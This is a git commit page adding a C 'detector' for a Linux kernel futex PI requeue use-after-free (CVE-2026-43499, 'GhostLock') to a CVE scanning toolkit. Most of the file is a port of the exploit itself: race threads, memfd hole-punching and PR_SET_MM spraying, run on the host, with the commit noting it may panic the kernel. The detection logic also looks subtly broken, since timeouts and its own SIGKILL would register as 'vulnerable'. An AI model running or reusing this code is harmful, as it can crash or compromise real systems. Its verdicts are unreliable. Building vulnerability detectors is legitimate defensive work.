cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 05c85a55ff4377a3e2506e84417b4b8766ec05bc
parent 236e6fc0c0101d0b4f164705716e1ddfc35c348b
Author: finwo <finwo@pm.me>
Date:   Thu,  9 Jul 2026 20:49:47 +0200

Added cve-2026-43499 detector, may cause panic

Diffstat:
MREADME.md | 1+
Asrc/detector/cve-2026-43499.c | 473+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 474 insertions(+), 0 deletions(-)

diff --git a/README.md b/README.md @@ -9,6 +9,7 @@ A lightweight CVE detection toolkit for Linux systems. | [CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195) | dirtycow | Privileged page-cache write via COW race (`pokedata` + `procmem` variants) | | [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` | | [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE | +| [CVE-2026-43499](https://www.cve.org/CVERecord?id=CVE-2026-43499) | GhostLock | Futex PI requeue deadlock race leading to kernel stack UAF | | [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass | ## Build diff --git a/src/detector/cve-2026-43499.c b/src/detector/cve-2026-43499.c @@ -0,0 +1,473 @@ +/* + * CVE-2026-43499 — GhostLock + * + * A futex PI requeue race condition leading to a use-after-free in the + * kernel's futex subsystem. An unprivileged user can trigger a kernel + * stack UAF by racing FUTEX_WAIT_REQUEUE_PI against FUTEX_CMP_REQUEUE_PI + * when a PI-chain deadlock is present. + * + * This detector runs the race-and-exploit loop in a subprocess with a + * strict timeout. If the UAF is triggered, the subprocess crashes + * (SIGSEGV/SIGBUS). A clean exit means the kernel is not vulnerable. + * + * All memory is allocated via memfd + mmap — no files are written to + * disk, and no system state is modified after the test completes. + */ + +#define _GNU_SOURCE +#include <errno.h> +#include <fcntl.h> +#include <linux/futex.h> +#include <poll.h> +#include <pthread.h> +#include <signal.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/mman.h> +#include <sys/syscall.h> +#include <sys/time.h> +#include <sys/wait.h> +#include <time.h> +#include <unistd.h> + +#include "setup.h" + +/* ---- constants tuned from the original PoC ---- */ +#define CHILDREN 8 /* matches the original PoC */ +#define ROUNDS 80 /* stamp iterations after a successful race */ +#define SHMEM_LEN (1024 * 1024) +#define PR_SET_MM 35 +#define PR_SET_MM_MAP 14 +#define SHMEM_BASE 0xdead10000ULL +#define TIMEOUT_SEC 15 /* total timeout for the child process */ + +/* ---- futex helpers (direct syscalls, no glibc wrappers) ---- */ +static void futex_lock_pi(uint32_t *uaddr) { + syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0); +} + +static void futex_unlock_pi(uint32_t *uaddr) { + syscall(SYS_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0); +} + +static void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, + const struct timespec *ts) { + syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0); +} + +static void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) { + syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0); +} + +static void futex_wake(volatile int *uaddr) { + syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0); +} + +static void wait_for(volatile int *uaddr, int old) { + while (*uaddr == old) + syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, old, 0, 0, 0); +} + +/* ---- per-child shared state ---- */ +struct ghostlock_state { + uint32_t f_wait; /* non-PI futex, initial wait target */ + uint32_t f_pi_target; /* PI futex, requeue target */ + uint32_t f_pi_chain; /* PI futex, chain lock */ + + volatile int a_ready; /* waiter thread has locked f_pi_chain */ + volatile int a_tid; /* waiter thread tid */ + volatile int a_waiting; /* waiter thread is inside futex_wait_requeue_pi */ + volatile int b_started; /* owner thread has locked f_pi_target */ + volatile int consume; /* signal for consumer thread */ + volatile int stamp_ready; /* signal from stamp_one */ + volatile int scheduled; /* consumer has set scheduler */ + volatile int deadlock_seen; /* race won indicator */ + + int lane; /* child index (0 gets PR_SET_MM) */ + int done_fd; /* write-end of status pipe */ + + /* shared memory for auxv / page-cache spray */ + int shmem_fd; + unsigned char *shmem_map; + size_t page_size; +}; + +/* ---- stamp helpers (trigger the UAF after a successful race) ---- */ +static void fill_buf(uint64_t *buf) { + for (int i = 0; i < 64; i++) + buf[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; +} + +static void shmem_fill(struct ghostlock_state *gs) { + uint64_t *page = (uint64_t *)gs->shmem_map; + size_t npage = gs->page_size / sizeof(uint64_t); + for (size_t i = 0; i < npage; i++) + page[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; + uint64_t *auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)); + for (int i = 0; i < 64; i++) + auxv[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; +} + +struct prctl_mm_map { + uint64_t start_code; + uint64_t end_code; + uint64_t start_data; + uint64_t end_data; + uint64_t start_brk; + uint64_t brk; + uint64_t start_stack; + uint64_t arg_start; + uint64_t arg_end; + uint64_t env_start; + uint64_t env_end; + uint64_t *auxv; + uint32_t auxv_size; + uint32_t exe_fd; +}; + +static volatile int g_punch_go; +static volatile int g_punch_done; +static int g_shmem_fd_global; + +static void *puncher_thread(void *arg) { + (void)arg; + wait_for(&g_punch_go, 0); + while (!g_punch_done) { + syscall(SYS_fallocate, g_shmem_fd_global, 0, 4096, SHMEM_LEN - 4096); + syscall(SYS_fallocate, g_shmem_fd_global, 3, 4096, SHMEM_LEN - 4096); + } + return NULL; +} + +static void stamp_prctl(struct ghostlock_state *gs, uint64_t *buf) { + struct prctl_mm_map mm_map = { + .start_code = (uint64_t)stamp_prctl, + .end_code = (uint64_t)stamp_prctl + 0x1000, + .start_data = (uint64_t)&gs->shmem_fd & ~0xfffULL, + .end_data = ((uint64_t)&gs->shmem_fd & ~0xfffULL) + 0x1000, + .start_brk = (uint64_t)sbrk(0), + .brk = (uint64_t)sbrk(0), + .start_stack = (uint64_t)buf, + .arg_start = (uint64_t)buf, + .arg_end = (uint64_t)buf, + .env_start = (uint64_t)buf, + .env_end = (uint64_t)buf, + .auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)), + .auxv_size = 48 * sizeof(uint64_t), + .exe_fd = -1, + }; + shmem_fill(gs); + g_punch_go = 1; + futex_wake(&g_punch_go); + usleep(4000); + gs->stamp_ready = 1; + futex_wake(&gs->stamp_ready); + syscall(SYS_sched_yield); + for (int i = 0; i < 100; i++) + syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(mm_map), 0); +} + +static void stamp_futex(struct ghostlock_state *gs, uint64_t *buf) { + (void)gs; + (void)buf; + struct timespec ts = {}; + uint32_t a = 0, b = 0; + futex_lock_pi(&a); + futex_unlock_pi(&a); + futex_wait_requeue_pi(&a, &b, &ts); + futex_cmp_requeue_pi(&a, &b); +} + +/* dispatch table matching the original PoC */ +static void (*const stamps[])(struct ghostlock_state *, uint64_t *) = { + stamp_prctl, + stamp_futex, +}; + +static void stamp_one(struct ghostlock_state *gs, uint64_t *buf, int id) { + fill_buf(buf); + stamps[id](gs, buf); +} + +static void stamp_loop(struct ghostlock_state *gs) { + uint64_t buf[64]; + stamp_one(gs, buf, gs->lane == 0 ? 0 : 1); + gs->stamp_ready = 1; + futex_wake(&gs->stamp_ready); + for (int i = 0; i < ROUNDS; i++) + stamp_one(gs, buf, gs->lane == 0 ? 0 : 1); +} + +/* ---- thread entry points ---- */ +static void *owner_thread(void *arg) { + struct ghostlock_state *gs = (struct ghostlock_state *)arg; + futex_lock_pi(&gs->f_pi_target); + while (!gs->a_ready); + gs->b_started = 1; + futex_lock_pi(&gs->f_pi_chain); + /* deadlock — never releases */ + for (;;) pause(); + return NULL; +} + +static void *consumer_thread(void *arg) { + struct ghostlock_state *gs = (struct ghostlock_state *)arg; + int tid; + while (!(tid = gs->a_tid)); + wait_for(&gs->consume, 0); + wait_for(&gs->stamp_ready, 0); + + struct sched_attr { + uint32_t size; + uint32_t policy; + uint64_t flags; + int32_t nice; + uint32_t priority; + uint64_t runtime; + uint64_t deadline; + uint64_t period; + uint32_t util_min; + uint32_t util_max; + } attr = { + .size = sizeof(attr), + .policy = 3, /* SCHED_BATCH */ + .nice = 19, + }; + syscall(SYS_sched_setattr, tid, &attr, 0); + gs->scheduled = 1; + futex_wake(&gs->scheduled); + for (;;) pause(); + return NULL; +} + +static void *waiter_thread(void *arg) { + struct ghostlock_state *gs = (struct ghostlock_state *)arg; + struct timespec ts; + + gs->a_tid = syscall(SYS_gettid); + futex_lock_pi(&gs->f_pi_chain); + gs->a_ready = 1; + usleep(20000); + + clock_gettime(CLOCK_MONOTONIC, &ts); + ts.tv_nsec += 50000000; /* 50 ms timeout */ + if (ts.tv_nsec >= 1000000000) { + ts.tv_sec++; + ts.tv_nsec -= 1000000000; + } + gs->a_waiting = 1; + futex_wait_requeue_pi(&gs->f_wait, &gs->f_pi_target, &ts); + wait_for(&gs->deadlock_seen, 0); + gs->consume = 1; + futex_wake(&gs->consume); + stamp_loop(gs); + wait_for(&gs->scheduled, 0); + write(gs->done_fd, "x", 1); + _exit(0); + return NULL; +} + +/* ---- per-child setup and race ---- */ +static void run_child(struct ghostlock_state *gs) { + pthread_t th; + pthread_attr_t attr; + + mlockall(MCL_CURRENT | MCL_FUTURE); + pthread_attr_init(&attr); + pthread_attr_setstacksize(&attr, 1024 * 1024); + + /* child 0 sets up the shared-memory PR_SET_MM spray area */ + if (gs->lane == 0) { + size_t ps = (size_t)sysconf(_SC_PAGESIZE); + gs->page_size = ps; + gs->shmem_fd = (int)syscall(SYS_memfd_create, "x", 0); + syscall(SYS_fallocate, gs->shmem_fd, 0, 0, SHMEM_LEN); + gs->shmem_map = (unsigned char *)mmap( + (void *)SHMEM_BASE, SHMEM_LEN, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, gs->shmem_fd, 0); + if (gs->shmem_map == MAP_FAILED) + gs->shmem_map = NULL; + g_shmem_fd_global = gs->shmem_fd; + pthread_create(&th, NULL, puncher_thread, NULL); + } + + memset(&gs->f_wait, 0, sizeof(gs->f_wait)); + memset(&gs->f_pi_target, 0, sizeof(gs->f_pi_target)); + memset(&gs->f_pi_chain, 0, sizeof(gs->f_pi_chain)); + gs->a_ready = 0; + gs->a_tid = 0; + gs->a_waiting = 0; + gs->b_started = 0; + gs->consume = 0; + gs->stamp_ready = 0; + gs->scheduled = 0; + gs->deadlock_seen = 0; + g_punch_go = 0; + g_punch_done = 0; + + pthread_create(&th, &attr, owner_thread, gs); + pthread_create(&th, &attr, consumer_thread, gs); + pthread_create(&th, &attr, waiter_thread, gs); + + while (!gs->a_waiting || !gs->b_started); + usleep(20000); + + /* Tell the parent we are past the setup phase */ + write(gs->done_fd, "r", 1); + + /* Race: requeue the waiter into the deadlock */ + futex_cmp_requeue_pi(&gs->f_wait, &gs->f_pi_target); + gs->deadlock_seen = 1; + futex_wake(&gs->deadlock_seen); + + /* Stay alive until the waiter has stamped */ + for (;;) pause(); +} + +/* ---- top-level detector ---- */ +int detector_cve_2026_43499(struct cve_context *ctx) { + int status; + pid_t child; + int pipefd[2]; + char buf[1]; + + if (pipe2(pipefd, 0) < 0) + return 0; + + child = fork(); + if (child < 0) { + close(pipefd[0]); + close(pipefd[1]); + return 0; + } + + if (child == 0) { + /* ---- child: run the exploit ---- */ + close(pipefd[0]); + + /* Die cleanly after TIMEOUT_SEC seconds */ + alarm(TIMEOUT_SEC); + + /* + * Fork CHILDREN sub-processes, each running the race. + * We replicate the original PoC structure: run() forks + * children sequentially, each runs run_child(). + */ + for (int i = 0; i < CHILDREN; i++) { + int cp[2]; + struct ghostlock_state gs; + + if (pipe2(cp, 0) < 0) + _exit(2); + + pid_t kid = fork(); + if (kid < 0) { + close(cp[0]); + close(cp[1]); + _exit(2); + } + + if (kid == 0) { + /* grandchild */ + close(cp[0]); + memset(&gs, 0, sizeof(gs)); + gs.lane = i; + gs.done_fd = cp[1]; + run_child(&gs); + _exit(0); + } + + close(cp[1]); + + /* Wait for "r" (ready) from grandchild */ + { + struct pollfd pfd; + pfd.fd = cp[0]; + pfd.events = POLLIN; + int rc = poll(&pfd, 1, 5000); + if (rc <= 0) { + /* timeout or error — kill and move on */ + kill(kid, SIGKILL); + close(cp[0]); + waitpid(kid, NULL, 0); + continue; + } + if (read(cp[0], buf, 1) != 1) { + kill(kid, SIGKILL); + close(cp[0]); + waitpid(kid, NULL, 0); + continue; + } + } + + /* + * Wait for the second byte ("x" = stamp done, or timeout). + * Use a select-like timeout so we don't hang forever. + */ + { + struct pollfd pfd; + pfd.fd = cp[0]; + pfd.events = POLLIN; + int rc = poll(&pfd, 1, TIMEOUT_SEC * 1000 / CHILDREN); + if (rc > 0) + read(cp[0], buf, 1); + else + kill(kid, SIGKILL); + } + + close(cp[0]); + waitpid(kid, NULL, 0); + } + + /* All done — exit cleanly */ + _exit(0); + } + + /* ---- parent: monitor child ---- */ + close(pipefd[1]); + + /* + * Wait up to (TIMEOUT_SEC + 2) seconds for the child. + * If it was killed by a signal (SIGSEGV, SIGBUS, SIGILL), + * the UAF was triggered and the kernel is vulnerable. + */ + { + char buf; + struct pollfd pfd; + pfd.fd = pipefd[0]; + pfd.events = POLLIN; + int rc = poll(&pfd, 1, (TIMEOUT_SEC + 2) * 1000); + if (rc > 0) + read(pipefd[0], &buf, 1); + (void)buf; + } + close(pipefd[0]); + + /* reap child */ + kill(child, SIGKILL); + waitpid(child, &status, 0); + + if (WIFSIGNALED(status)) { + /* Child crashed — vulnerability triggered */ + if (ctx->verbose) + fprintf(stderr, "[cve-2026-43499] vulnerable: child killed by signal %d\n", + WTERMSIG(status)); + return 1; + } + + /* Child exited or timed out — likely patched */ + return 0; +} + +/* ---- constructor ---- */ +__attribute__((constructor)) +void detector_cve_2026_43499_setup(void) { + detector_queue_append( + "CVE-2026-43499", "GhostLock", + "Update the Linux kernel to >= 7.1 or apply CONFIG_FUTEX_PI=n.\n" + " The fix was backported to stable trees; check for commits\n" + " addressing the futex PI requeue deadlock race.", + detector_cve_2026_43499); +}